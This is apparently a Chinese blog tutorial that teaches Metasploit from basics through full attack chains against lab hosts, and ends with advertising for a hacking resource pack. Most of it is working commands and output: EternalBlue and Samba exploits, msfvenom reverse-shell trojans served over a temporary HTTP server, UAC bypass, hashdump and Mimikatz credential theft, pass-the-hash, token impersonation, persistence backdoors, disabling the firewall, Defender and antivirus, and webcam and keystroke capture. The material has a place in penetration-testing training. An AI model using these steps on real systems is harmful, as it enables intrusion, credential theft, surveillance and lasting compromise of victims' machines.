【黑客必备工具】MSF零基础入门到精通(超详细),收藏这一篇就够了

简介:

MSF默认存放模块的目录如下

/usr/share/metasploit-framework/modules/

    Kali中更新MSF

    apt update  
    apt install metasploit-framework
    

      MSF安装介绍MSF官网:https://www.metasploit.com/

      MSF有两个版本,Metaploit是开源免费的,Metaploit pro的商业收费的,这里我们用免费的社区版就可以了

      MSF下载地址:https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers

      1、MSF框架

      Metasploit简介:

        Metasploit是当前信息安全与渗透测试最流行的术语,他完全颠覆了已有的渗透测试方式。几乎所有流行的操作系统都支持Metasploit,而且Metasploit框架在这些系统上的工作流程基本都一样。kali操作系统预装Metasploit及其上运行的第三方工具。  
        
       Metasploit框架(Metasploit Framework,MSF)是一个开源工具,旨在方便渗透测试,他是有Ruby程序语言编写的模板化框架,具有很好的扩展性,便于渗透测试人员开发.使用定制的工具模板。
      

        渗透攻击步骤:

        使用msf渗透测试时,可以综合使用以上的模块,对目标系统进行侦察并发动攻击,大致的步骤如下。  
          
        扫描目标机系统,寻找可用的漏洞  
        选择并配置一个漏洞利用模块  
        选择并配置一个攻击载荷模块  
        选择一个编码技术,用来绕过杀毒软件的查杀  
        渗透攻击
        

          1.1 Auxiliaries(辅助模块)

          该模块不会直接在测试者和目标主机之间建立访问,他们只负责执行扫描,嗅探,指纹识别等相关辅助模块测试,为渗透测试收集信息

          主机扫描

          对目标主机进行信息收集,尽可能多的发现有关目标机器的信息,获取的信息越多,渗透的概率就越大,主要是了解渗透机器的IP地址

          可用服务,开放的端口等

          使用辅助模块进行端口扫描:

          辅助模块时Metasploit的内置模块,首先利用search命令搜索那些可用端口模块,输入use命令即可使用该漏洞的利用模块,使用show options命令查看需要配置的参数(rhosts为扫描的ip地址,ports为设置扫描端口范围,threads为设置扫描线程),我们使用set命令设置相应的参数,unset命令取消某个参数值的设置。搜索端口模块

          search portscan
          

            使用对应的辅助模块

            msf5 > use auxiliary/scanner/portscan/tcp  
            msf5 > use 5
            

              show options查看需要设置的参数信息,设置辅助模块的参数

              set rhosts 10.10.10.7带扫描的IP地址  
              set ports 1-500 设置扫描端口范围  
              set threads 20  设置扫描的线程数  
              unset 取消设置某个参数的值  
              exploit /run    开始扫描程序  
                
              在Required列中,被标记yes的参数,必须包含实际的值
              

                可以看到在靶机上所有tcp端口的使用情况

                使用辅助模块进行服务扫描
                在扫描目标服务器上运行的服务时,有多种基于服务的扫描技术可供选择,例如VNC,FTP,SMB,只需执行特定类型的扫描就可以发现服务  
                通过search命令搜索scanner可以发现大量的扫描模块,用法与端口扫描类似。
                
                  使用nmap扫描
                  nmap不但可以用来确定目标网络上主机的存活状态,而且能够扫描计算机的操作系统,开放端口,服务等
                  

                    使用nmap来获取目标主机的操作系统

                    nmap -O -Pn 10.10.10.7  
                    Pn参数是不使用ping的方式,且假定所有主机系统都是活动的,可以穿越防火墙,也可以避免被防火墙发现
                    
                      利用辅助模块进行永恒之蓝漏洞扫描-提权
                      利用ms17-010永恒之蓝漏洞进行提权  
                      msf5 > use auxiliary/scanner/smb/smb\_ms17\_010 利用辅助模块进行永恒之蓝漏洞扫描  
                      sf5 auxiliary(scanner/smb/smb\_ms17\_010) > set rhosts 192.168.1.3设置扫描的靶机  
                      msf5 auxiliary(scanner/smb/smb\_ms17\_010) > exploit   
                        
                      \[+\] 192.168.1.3:445       - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)  
                      \[\*\] 192.168.1.3:445       - Scanned 1 of 1 hosts (100% complete)  
                      \[\*\] Auxiliary module execution completed  
                      扫描结果显示,该主机可能易受到MS17-010的漏洞攻击  
                        
                      搜索MS17-010的模块信息  
                      msf5 auxiliary(scanner/smb/smb\_ms17\_010) > search ms17-010  
                      使用对应的攻击模块  
                      msf5 auxiliary(scanner/smb/smb\_ms17\_010) > use exploit/windows/smb/ms17\_010\_eternalblue  
                      设置攻击模块的参数  
                      msf5 exploit(windows/smb/ms17\_010\_eternalblue) > set payload windows/x64/meterpreter/reverse\_tcp  
                      msf5 exploit(windows/smb/ms17\_010\_eternalblue) > set rhosts 192.168.1.3  
                      msf5 exploit(windows/smb/ms17\_010\_eternalblue) > set lhost 192.168.1.2  
                      msf5 exploit(windows/smb/ms17\_010\_eternalblue) > exploit   
                      即可成功拿到靶机的系统权限
                      

                        2.Exploits(攻击模块)

                        利用发现的安全漏洞,或配置弱点对远程目标系统进行攻击,从而获得对远程目标系统访问权的代码组件

                        0day漏洞:没有被公布补丁的Bug就是所谓的0day漏洞  
                        接下来假设Metasploitable2-Linux为靶机,对他进行渗透攻击  
                        首先对目标进行扫描,收集可用的服务信息,使用nmap扫描并查看系统开放端口和相关的应用程序
                        
                        msf5 > nmap -sV 10.10.10.7
                        
                          版本扫描
                          收集目标的相关信息如上,选择正确的Exploit(漏洞利用模块)和合适的Payload,可知主机运行着Samba 3.x服务  
                          Samba服务,局域网共享文件和打印机的通信协议,用来提供不同系统之间资源共享的服务
                          
                            输入msf5 > search samba命令搜索Samba的漏洞利用模块,并选择合适的漏洞利用模块  
                            执行后将返回Samba服务漏洞利用模块列表,按照各个漏洞被利用成功的相对难易程度进行排序  
                            因为exploit/multi/samba/usermap\_script被标记为excellent 即最杰出而且时间是最新的,为提高渗透率就选他。  
                            可以输入info exploit/multi/samba/usermap\_script 查看有关漏洞的
                            
                              搜索Samba的漏洞利用模块
                              输入以下命令即可使用该漏洞利用模块  
                              msf5 > use exploit/multi/samba/usermap\_script 使用模块  
                              msf5 exploit(multi/samba/usermap\_script) > show payloads 查看payload  
                              msf5 exploit(multi/samba/usermap\_script) > set PAYLOAD cmd/unix/reverse 使用反向攻击载荷模块  
                                
                              设置模块参数  
                              msf5 exploit(multi/samba/usermap\_script) > set rhosts 10.10.10.7被攻击主机的IP地址  
                              msf5 exploit(multi/samba/usermap\_script) > set rport 445    设置漏洞利用的端口号  
                              msf5 exploit(multi/samba/usermap\_script) > set lhost 10.10.10.2 设置攻击机的IP地址  
                              msf5 exploit(multi/samba/usermap\_script) > exploit 开始进行攻击
                              
                                列举攻击载荷
                                攻击目标主机

                                3.Payload(攻击载荷模块)

                                我们期望目标系统再被渗透攻击之后完成实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或者执行特定的代码

                                4.Post(后期渗透模块)

                                在已经取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息,实施跳板攻击等攻击成功后促使靶机运行的一段植入代码

                                后渗透模块之信息收集
                                对已经渗透成功后的机器,还可以利用MSF的一个强大的后渗透工具,Meterpreter,该工具具有多重功能,在获取了Meterpreter Shell后,就进入最精彩的后渗透利用阶段,200多个后期渗透模块。  
                                Meterpreter有以下优势  
                                纯内存工作模式,不需要对磁盘进行任何写入操作  
                                使用加密通信协议,而且可以同时与几个通道通信  
                                在被攻击进程内工作,不需要创建新的进程  
                                易于在多进程之间迁移  
                                平台通用,适用于Windows,Linux,BSD系统
                                
                                  收集目标计算机的磁盘分区情况  
                                  meterpreter > run post/windows/gather/forensics/enum\_drives  
                                    
                                  判断目标是否是虚拟机  
                                  meterpreter > run post/windows/gather/checkvm   
                                    
                                  目标运行哪些服务  
                                  meterpreter > run post/windows/gather/enum\_services   
                                    
                                  目标运行哪些应用  
                                  meterpreter > run post/windows/gather/enum\_applications   
                                    
                                  目标有没有共享文件夹  
                                  meterpreter > run post/windows/gather/enum\_shares   
                                    
                                    
                                  目标打了哪些补丁  
                                  meterpreter > run post/windows/gather/enum\_patches   
                                    
                                  获取常见信息(1)  
                                  run scraper   
                                  获取完信息后可以进入相应的目录下查看,至于cat乱码问题带解决  
                                  cd /root/.msf4/logs/scripts/scraper  
                                    
                                  获取常见信息(2)  
                                  meterpreter > run winenum   
                                  cd /root/.msf4/logs/scripts/winenum
                                  

                                    5.Encoders(编码工具模块)

                                    该模块负责渗透测试中的免杀,以防止攻击载荷被杀毒软件,IDS等安全软件检测出来。

                                    2 msf拿windows shell

                                    利用kali生成一个木马  
                                    msfvenom -p windows/meterpreter/reverse\_tcp lhost=172.27.7.10 lport=1234 -f exe >/root/420.exe  
                                    root@kali:~# python -m SimpleHTTPServer 800 开启一个临时的HTTP服务用来传文件。浏览器输入地址端口号  
                                    将生成的木马发送到目标计算机中,在kaliMSF中开启监听
                                    

                                      具体操作

                                      msf5 > search handler   
                                      msf5 > use exploit/multi/handler    
                                      msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse\_tcp  
                                      msf5 exploit(multi/handler) > set lhost 10.10.10.2  
                                      msf5 exploit(multi/handler) > set lport 1234端口为生成木马的端口  
                                      msf5 exploit(multi/handler) > exploit   
                                      运行完之后开始监听,等待受害主机点击木马程序
                                      

                                        再次开启一个终端进行(shift+ctrl+T),查看本机ip利用msfvenom制作木马程序说明:-p payload(有效载荷) 通俗的讲payload是用来建立目标机与攻击机稳定连接的,可以返回shell-e 编码方式-i 编码次数-b 在生成的程序中避免出现的值-f exe 生成exe格式

                                        将木马传到目标主机这里使用python -m SimpleHTTPServer 800搭建一个http服务,提供一个文件浏览的web页面到800端口打开目标机win7,输入地址进行下载木马并保存在桌面

                                        下载过程 回显

                                        返回第二步界面,设置监听主机,运行在win7中打开msf.exe木马文件,再次查看msf控制台

                                        可以看到得了session11.查看session,如果此时是meterpreter,输入background即可返回msf exploit(multi/handler)查看系统信息:sysinfo截取时下桌面:screenshot

                                        捕获击键记录:keyscan start控制键盘鼠标 启用/禁用:uictl enable/disable keyboard

                                        进程迁移

                                        在拿到目标系统的shell后,该shell是及其脆弱和易受攻击的,如果攻击者利用浏览器进行攻陷目标机器,有可能浏览器被用户关闭。所以第一步就是要移动shell,把它和目标机器中一个稳定的进程绑定在一起,而不需要对磁盘进行任何写入操作,这样更难被检测出来
                                        
                                          meterpreter > ps    查看目标机器正在运行的进程  
                                                        
                                          meterpreter > getpid    查看Meterpreter Shell的进程号  
                                            
                                          meterpreter > migrate 4076  将Meterpreter Shell的进程号迁移到4076进程上  
                                            
                                          meterpreter > run post/windows/manage/migrate 自动迁移命令  
                                          迁移完成后,原先的进程会被杀死,自动变为新迁移的进程,如果原先的进程还在可以直接kill进程号杀死
                                          

                                            3. 后渗透攻击:权限提升

                                            渗透成功后,我们可能只拿到一个低权限,如Guest或User权限无法进行许多操作,安装软件,修改防火墙规则,注册表等,所以要从Guest--->User--->Administrator---->System。  
                                            提权方式:  
                                            纵向提权:低权限----->高权限一个Webshell权限通过提权到管理员权限。  
                                            横向提权:同级提权----->同级权限对已经攻破了系统A的权限获取到系统B的权限。  
                                            权限提升的方法:  
                                            提高程序运行级别  
                                            UAC绕过  
                                            利用提权漏洞进行提权
                                            

                                              权限提升的方法

                                              提高程序运行级别

                                              在这之前首先要拿到对方计算机的shell,也就是要成功执行Meterpreter,命令如下  
                                              1.生成木马,发送到目标计算机上  
                                              root@kali:~#msfvenom -p windows/meterpreter/reverse\_tcp lhost=10.10.10.2 lport=1234 -f exe >/root/hacker.exe  
                                                
                                              root@kali:~# python -m SimpleHTTPServer 800 开启一个临时的HTTP服务用来传文件。浏览器输入地址端口号  
                                                
                                              2.设置监听  
                                              msf5 > search handler   
                                              msf5 > use exploit/multi/handler   
                                              msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse\_tcp  
                                              msf5 exploit(multi/handler) > set lhost 10.10.10.2  
                                              msf5 exploit(multi/handler) > set lport 1234端口为生成木马的端口  
                                              msf5 exploit(multi/handler) > exploit  
                                              meterpreter > run post/windows/manage/migrate   自动迁移进程  
                                                
                                              3.运行完之后开始监听,等待受害主机点击木马程序  
                                                
                                              4.开始提权  
                                                
                                              MSF模块  
                                              msf5 exploit(multi/handler) > use exploit/windows/local/ask 使用这个模块  
                                              msf5 exploit(windows/local/ask) > show options 查看模块的设置参数  
                                                
                                              Module options (exploit/windows/local/ask):  
                                                
                                                 Name       Current Setting  Required  Description  
                                                 ----       ---------------  --------  -----------  
                                                 FILENAME                    no        File name on disk  定义木马在目标计算机的名称  
                                                 PATH                        no        Location on disk, %TEMP% used if not set  
                                                 SESSION                     yes       The session to run this module on. 目标计算的session  
                                                 TECHNIQUE  EXE              yes       Technique to use (Accepted: PSH, EXE)  
                                                   
                                              设置参数  
                                              windows/local/ask) > set session 6   
                                              msf5 exploit(windows/local/ask) > set filename QQ.exe  
                                              msf5 exploit(multi/handler) > exploit 开始攻击,目标计算机会弹出一个QQ.exe的文件,需要用户主动点击确定  
                                                
                                              若出现如下界面,目标计算机已成功被攻陷  
                                              \[\*\] Started reverse TCP handler on 10.10.10.2:4444   
                                              \[\*\] UAC is Enabled, checking level...  
                                              \[\*\] The user will be prompted, wait for them to click 'Ok'  
                                              \[\*\] Uploading QQ.exe - 73802 bytes to the filesystem...  
                                              \[\*\] Executing Command!  
                                              \[\*\] Sending stage (176195 bytes) to 10.10.10.3  
                                              \[\*\] Meterpreter session 2 opened (10.10.10.2:4444 -> 10.10.10.3:50780) at 2021-03-18 12:54:50 +0800  
                                              meterpreter >   
                                                
                                              此时我们查看当前的权限  
                                              meterpreter > getuid  
                                              Server username: DESKTOP-8TS33Q5\\17157  
                                                
                                              提权操作再次看权限  
                                              meterpreter > getsystem   
                                              ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).  
                                              meterpreter > getuid  
                                              Server username: NT AUTHORITY\\SYSTEM  
                                              已成功将用户权限提升至系统管理员权限  
                                              msf5 exploit(windows/local/ask) > sessions   
                                                
                                              Active sessions  
                                              \===============  
                                                
                                                Id  Name  Type                     Information                              Connection  
                                                --  ----  ----                     -----------                              ----------  
                                                1         meterpreter x86/windows  DESKTOP-8TS33Q5\\17157 @ DESKTOP-8TS33Q5  10.10.10.2:4444 -> 10.10.10.3:50730 (10.10.10.3)  
                                                  
                                                2         meterpreter x86/windows  NT AUTHORITY\\SYSTEM @ DESKTOP-8TS33Q5    10.10.10.2:4444 -> 10.10.10.3:50780 (10.10.10.3)  
                                                
                                              此时有系统中存在两个MeterPreter,一个是普通的,一个是经过了提高程序运行级别,可以提权的MeterPreter shell
                                              

                                                UAC绕过提权

                                                Msf模块  
                                                通过以下三个模块实现绕过UAC检测,不需要和用户进行交互,  
                                                exploit/windows/local/bypassuac  
                                                exploit/windows/local/bypassuac\_injection  
                                                exploit/windows/local/bypassuac\_vbs
                                                
                                                  msf5 > use exploit/windows/local/bypassuac  
                                                    
                                                  meterpreter > getsystem 提权  
                                                  ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).  
                                                  meterpreter > getuid  
                                                  Server username: NT AUTHORITY\\SYSTEM
                                                  

                                                    数据包捕获(sniffer)

                                                    第一次使用要加载功能  
                                                    meterpreter > load sniffer   
                                                      
                                                    列出目标主机上的所有网络接口(需要管理员权限)  
                                                    meterpreter > sniffer\_interfaces   
                                                      
                                                    开启网卡2的嗅探功能  
                                                    meterpreter > sniffer\_start 2  
                                                      
                                                    抓取流量到kali目录下命名为2.cap  
                                                    meterpreter > sniffer\_dump 2 2.cap  
                                                    可以开启kali的抓包工具查看捕获的流量信息  
                                                      
                                                    解包  
                                                    use auxiliary/sniffer/psnuffle   
                                                    set pcapfile /root/2.cap  
                                                    exploit   
                                                    直接在kali里面进行解包操作
                                                    

                                                      Hash攻击

                                                      通过Hashdump获取密码(需要有系统权限)  
                                                      meterpreter > getuid  
                                                      Server username: NT AUTHORITY\\SYSTEM  
                                                      meterpreter > hashdump   
                                                      Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::  
                                                      Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::  
                                                      lyp:1000:aad3b435b51404eeaad3b435b51404ee:4d79b182560869b4344fcd3c57ec8409:::  
                                                        
                                                      meterpreter > run post/windows/gather/smart\_hashdump   
                                                      工作流程如下  
                                                      检查当前会话的权限和系统类型  
                                                      检查是否是域控制服务器  
                                                      从注册表读取hash,注入LSASS进程  
                                                      如果是08server并具有管理员权限,直接getsystem尝试提权  
                                                      如果是win7且UAC关闭并具有管理员权限,从注册表读取  
                                                      03/XP直接getsystem,从注册表获取hash  
                                                        
                                                      \[\*\] Running module against LYP-PC  
                                                      \[\*\] Hashes will be saved to the database if one is connected.  
                                                      \[+\] Hashes will be saved in loot in JtR password file format to:  
                                                      \[\*\] /root/.msf4/loot/20210318193224\_default\_10.10.10.5\_windows.hashes\_994440.txt  
                                                      \[\*\] Dumping password hashes...  
                                                      \[\*\] Running as SYSTEM extracting hashes from registry  
                                                      \[\*\]     Obtaining the boot key...  
                                                      \[\*\]     Calculating the hboot key using SYSKEY 2de936e4c9ddb8389a65920a3f6dfb4c...  
                                                      \[\*\]     Obtaining the user list and keys...  
                                                      \[\*\]     Decrypting user keys...  
                                                      \[\*\]     Dumping password hints...  
                                                      \[+\]     lyp:"sr"  
                                                      \[\*\]     Dumping password hashes...  
                                                      \[+\]     Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::  
                                                      \[+\]     lyp:1000:aad3b435b51404eeaad3b435b51404ee:4d79b182560869b4344fcd3c57ec8409:::  
                                                        
                                                      root@kali:~# hash-identifier --help 利用kali自带的hash破解工具(使用待研究)  
                                                        
                                                      使用Mimikatz抓取密码  
                                                      使用前提是已经获取Meterpreter shell,并且提权到系统权限。  
                                                        
                                                      加载mimikatz模块  
                                                      meterpreter > load mimikatz   
                                                        
                                                      抓取目标计算机的hash  
                                                      meterpreter > msv   
                                                        
                                                      利用kerberos抓取系统票据  
                                                      meterpreter > kerberos   
                                                        
                                                      获取目标计算机的系统账户信息  
                                                      meterpreter > wdigest  
                                                        
                                                      抓取目标计算机hash  
                                                      meterpreter > mimikatz\_command -f samdump::hashes  
                                                        
                                                      查看当前系统进程  
                                                      meterpreter > mimikatz\_command -f handle:: list  
                                                        
                                                      查看系统服务  
                                                      meterpreter > mimikatz\_command -f service::list  
                                                        
                                                      查看系统证书  
                                                      meterpreter > mimikatz\_command -f crypto::listProviders
                                                      

                                                        Hash传递

                                                        对于无法破解hash的情况下,可以使用hash传递,使用如下模块  
                                                        use exploit/windows/smb/psexec  
                                                        首先记录hash值  
                                                        meterpreter > hashdump   
                                                        Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::  
                                                        Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::  
                                                        lyp:1000:aad3b435b51404eeaad3b435b51404ee:4d79b182560869b4344fcd3c57ec8409:::  
                                                          
                                                          
                                                        msf5 > use exploit/windows/smb/psexec  
                                                        set smbpass aad3b435b51404eeaad3b435b51404ee:4d79b182560869b4344fcd3c57ec8409(需要破解的hash)  
                                                        set payload windows/meterpreter/reverse\_tcp(使用这个模块的反弹shell)  
                                                        set smbuser lyp(用户名)  
                                                        set rhosts 10.10.10.5  
                                                        set lhost 10.10.10.2  
                                                        set lport 3333(不能使用之前监听的端口)  
                                                        exploit   
                                                        运行可能会报错,原因目标计算机的UAC为关闭  
                                                        可以通过注册表关闭UAC  
                                                        cmd输入regedit打开注册表  
                                                        UAC注册表位置  
                                                        UAC\[HKEY\_LOCAL\_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\]  
                                                        将键值改为0即为关闭,1是开启状态  
                                                          
                                                        进入目标计算机的shell  
                                                        meterpreter > shell   
                                                        C:\\Windows\\system32>reg.exe ADD HKEY\_LOCAL\_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG\_DWORD /d 0 /f(关闭目标计算机的注册表)  
                                                          
                                                        修改完成之后,以社工的方式让目标计算机重启,然后重新进入Meterpreter,提权到系统权限  
                                                        之后进入上个Hsah传递模块  
                                                        msf5 > use exploit/windows/smb/psexec  
                                                        exploit执行  
                                                        执行攻击,发现成功进入Meterpreter  
                                                          
                                                        介绍另外一个hash爆破模块  
                                                        msf5 > use post/windows/gather/hashdump   
                                                        msf5 post(windows/gather/hashdump) > set session 15  
                                                        exploit
                                                        

                                                          令牌假冒

                                                          令牌就是系统的临时秘钥。相当于账户和密码,用来决定是否允许这次请求和判断这次请求属于哪一个用户,无需账号密码访问网络系统资源  
                                                          Kerberos协议  
                                                          网络认证协议,通过秘钥系统为客户机/服务器应用程序提供强大的认证服务  
                                                          客户端请求证书工作原理如下  
                                                          客户端向认证服务器(AS)发送请求,要求得到服务器的证书  
                                                          AS收到请求后,将包含服务器秘钥的加密证书发送给客户端。该证书包括服务器ticket(服务器秘钥加密的客户机身份和一份会话秘钥)和一个临时的加密秘钥(又叫做会话秘钥,session key)。同时也会给服务器发送一份,用来验证客户端的身份。  
                                                          客户端将ticket传送到服务器上,服务器进行验证。  
                                                          客户端登录成功后,攻击者就可以通过入侵服务器获取客户端获取令牌。  
                                                            
                                                          Tokens简介  
                                                          与进程相关联,进程创建时根据LoginSession分配对应的Token,含有该进程用户账号,组信息,权限等  
                                                          用户每次登录,产生LoginSession分配对应的Token  
                                                          访问资源时提交Token进行身份验证,类似于Web Cookie  
                                                          Delegate Token(授权令牌):支持交互登录,例如通过远程桌面登录访问  
                                                          Impersonate Token(模拟令牌):非交互会话,令牌的数量取决于shell的访问级别  
                                                            
                                                          Incognito  
                                                          不用获取账号密码窃取token将自己伪装成合法用户  
                                                          适用于域环境下提权渗透多种操作系统  
                                                            
                                                          首先需拿到对方的一个shell  
                                                          加载Incognito  
                                                          meterpreter > load incognito  
                                                            
                                                          列举出可用的token  
                                                          meterpreter > list\_tokens -u  
                                                          Delegation Tokens Available  
                                                          \========================================  
                                                          LYP-3\\lyp  
                                                          NT AUTHORITY\\LOCAL SERVICE  
                                                          NT AUTHORITY\\NETWORK SERVICE  
                                                          NT AUTHORITY\\SYSTEM  
                                                          QF\\bin.xu  
                                                            
                                                          Impersonation Tokens Available  
                                                          \========================================  
                                                          NT AUTHORITY\\ANONYMOUS LOGON  
                                                            
                                                          接下来用域控服务器访问下域成员的一个共享文件夹  
                                                            
                                                          接着在查看下token信息  
                                                          meterpreter > list\_tokens -u  
                                                          Delegation Tokens Available  
                                                          \========================================  
                                                          LYP-3\\lyp  
                                                          NT AUTHORITY\\LOCAL SERVICE  
                                                          NT AUTHORITY\\NETWORK SERVICE  
                                                          NT AUTHORITY\\SYSTEM  
                                                          QF\\bin.xu  
                                                            
                                                          Impersonation Tokens Available  
                                                          \========================================  
                                                          NT AUTHORITY\\ANONYMOUS LOGON  
                                                          QF\\Administrator(多出了一个管理员token)  
                                                            
                                                          盗取假冒管理员进行攻击  
                                                          meterpreter > impersonate\_token QF\\\\Administrator  
                                                          \[-\] No delegation token available  
                                                          \[+\] Successfully impersonated user QF\\Administrator  
                                                          meterpreter > getuid  
                                                          Server username: QF\\Administrator
                                                          

                                                            后门植入

                                                            Meterpreter后门:Metsvc  
                                                            meterpreter > run metsvc -A  
                                                            设定端口,上传后门文件  
                                                              
                                                            Meterpreter后门:Persistence  
                                                            meterpreter > run persistence -X -A -i 20 -p 666 -r 10.10.10.5  
                                                            每隔20秒就会重新连接此后门,自动回连  
                                                            
                                                            

                                                              附:

                                                              系统命令

                                                              meterpreter > sysinfo   查看系统信息  
                                                              Computer        : DESKTOP-8TS33Q5  
                                                              OS              : Windows 10 (10.0 Build 17763).  
                                                              Architecture    : x64  
                                                              System Language : zh\_CN  
                                                              Domain          : WORKGROUP  
                                                              Logged On Users : 2  
                                                              Meterpreter     : x64/windows  
                                                                
                                                                
                                                              meterpreter > run post/windows/gather/checkvm 目标主机是否运行在虚拟机上  
                                                                
                                                              \[\*\] Checking if DESKTOP-8TS33Q5 is a Virtual Machine ...  
                                                              \[+\] This is a VMware Virtual Machine  
                                                                
                                                              meterpreter > idletime 查看目标主机的运行时间  
                                                              User has been idle for: 9 mins 3 secs  
                                                                
                                                              meterpreter > route 查看目标路由  
                                                                
                                                              meterpreter > background 将当前会话放置后台  
                                                                
                                                              msf5 exploit(multi/handler) > sessions -i 3 重新进入后台  3是会话ID  
                                                                
                                                              erpreter > getuid 查看当前权限  
                                                              Server username: DESKTOP-8TS33Q5\\17157  
                                                                
                                                                
                                                              meterpreter > run post/windows/manage/killav 关闭目标的系统杀毒软件  
                                                                
                                                              meterpreter > run post/windows/manage/enable\_rdp 开启目标的远程桌面(3389)实验由于权限不足,无法开启  
                                                                
                                                              meterpreter > run get\_local\_subnets 查看目标机本地子网情况  
                                                                
                                                                
                                                              meterpreter > webcam\_snap 通过目标摄像头拍照  
                                                                
                                                              meterpreter > run post/windows/gather/enum\_logged\_on\_users 列举当前登录的用户  
                                                                
                                                              meterpreter > run post/windows/gather/enum\_applications 列举安装在目标机上的应用程序  
                                                                
                                                              meterpreter > run post/windows/gather/credentials/win   抓取自动登录的用户名和密码  
                                                                
                                                              screenshot  抓取目标主机屏幕截图  
                                                                
                                                              meterpreter > shell 获取目标主机shell  
                                                                
                                                              meterpreter > webcam\_stream 开启直播模式,浏览器输入返回的地址
                                                              

                                                                文件系统命令

                                                                Meterpreter支持各种文件系统命令,可以执行搜索文件,下载切换目录等。  
                                                                常见的文件系统命令如下  
                                                                meterpreter > pwd当前shell在目标的哪个位置  
                                                                  
                                                                meterpreter > getlwd当前处于本地的哪个目录  
                                                                  
                                                                meterpreter > ls    列出当前目录下有哪些文件  
                                                                  
                                                                meterpreter > search -f \*.txt -d c:/搜索C盘中所有以".txt"为拓展名的文件-f指定搜索文件模式,-d指定搜索位置
                                                                

                                                                  关闭防火墙和杀毒软件

                                                                  进入目标计算机的shell  
                                                                  关闭目标计算机的防火墙  
                                                                  C:\\Windows\\system32>Netsh advfirewal set allprofiles state off  
                                                                    
                                                                  关闭Denfender  
                                                                  C:\\Windows\\system32>Net stop windefend  
                                                                    
                                                                  关闭DEP  
                                                                  C:\\Windows\\system32>Bcdedit.exe /set {current} nx AlwaysOff  
                                                                    
                                                                  关闭杀毒软件  
                                                                  meterpreter > run killav   
                                                                  meterpreter > run post/windows/manage/killav(杀掉防毒)
                                                                  

                                                                    开启远程桌面(待补充)

                                                                    开启目标计算机的远程桌面服务(第一种方法)  
                                                                    meterpreter > run post/windows/manage/enable\_rdp   
                                                                    \[\*\] Enabling Remote Desktop  
                                                                    \[\*\]     RDP is disabled; enabling it ...  
                                                                    \[\*\] Setting Terminal Services service startup mode  
                                                                    \[\*\]     The Terminal Services service is not set to auto, changing it to auto ...  
                                                                    \[\*\]     Opening port in local firewall if necessary  
                                                                    \[\*\] For cleanup execute Meterpreter resource file: /root/.msf4/loot/20210319104948\_default\_10.10.10.5\_host.windows.cle\_679953.txt(执行的相关命令,可以cat查看)  
                                                                      
                                                                    关闭远程桌面服务  
                                                                    meterpreter > run multi\_console\_command -r /root/.msf4/loot/20210319104948\_default\_10.10.10.5\_host.windows.cle\_679953.txt  
                                                                      
                                                                    第二种方法  
                                                                    meterpreter > run getgui -h  
                                                                    \[!\] Meterpreter scripts are deprecated. Try post/windows/manage/enable\_rdp.  
                                                                    \[!\] Example: run post/windows/manage/enable\_rdp OPTION=value \[...\]  
                                                                    Windows Remote Desktop Enabler Meterpreter Script  
                                                                    Usage: getgui -u <username> -p <password>  
                                                                    Or:    getgui -e  
                                                                      
                                                                    OPTIONS:  
                                                                      
                                                                        -e        Enable RDP only.(仅启用RDP。)  
                                                                        -f <opt>  Forward RDP Connection.(转发RDP连接。)  
                                                                        -h        Help menu.  
                                                                        -p <opt>  The Password of the user to add.(要添加的用户的密码。)  
                                                                        -u <opt>  The Username of the user to add.(要添加的用户的用户名)  
                                                                      
                                                                    只开启远程桌面  
                                                                    meterpreter > run getgui -e(测试失败脚本可能已经失效)  
                                                                    如果开启成功直接利用kali的rdesktop进行远程连接  
                                                                    root@kali:~# rdesktop -u lyp -p 0315 toor 10.10.10.5  
                                                                    关闭远程桌面  
                                                                    run multi\_console\_command -r /root/.msf4/logs/scripts/getgui/clean\_up\_\_20210319.0601.rc  
                                                                      
                                                                    开启远程桌面并添加一个新用户  
                                                                    开启远程桌面并绑定在8888端口  
                                                                    截图  
                                                                    load espia  
                                                                    screengrab
                                                                    

                                                                       网络安全学习资源分享:

                                                                      给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

                                                                      👉网安(黑客红蓝对抗)所有方向的学习路线👈

                                                                      对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

                                                                            如果你想要入坑黑客&网络安全工程师,这份282G全网最全的网络安全资料包!

                                                                        网络安全大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

                                                                      ​​​​​​
                                                                       学习资料工具包

                                                                      压箱底的好资料,全面地介绍网络安全的基础理论,包括逆向、八层网络防御、汇编语言、白帽子web安全、密码学、网络安全协议等,将基础理论和主流工具的应用实践紧密结合,有利于读者理解各种主流工具背后的实现机制。

                                                                      ​​​​​​

                                                                      网络安全源码合集+工具包

                                                                      ​​​​​

                                                                      视频教程

                                                                      ​​​​​

                                                                       视频配套资料&国内外网安书籍、文档&工具

                                                                      ​​​​
                                                                      ​​ 因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

                                                                      黑客/网安大礼包:CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

                                                                      好了就写到这了,大家有任何问题也可以随时私信问我!希望大家不要忘记点赞收藏哦!

                                                                      评论
                                                                      添加红包

                                                                      请填写红包祝福语或标题

                                                                      红包个数最小为10个

                                                                      红包金额最低5元

                                                                      当前余额3.43前往充值 >
                                                                      需支付:10.00
                                                                      成就一亿技术人!
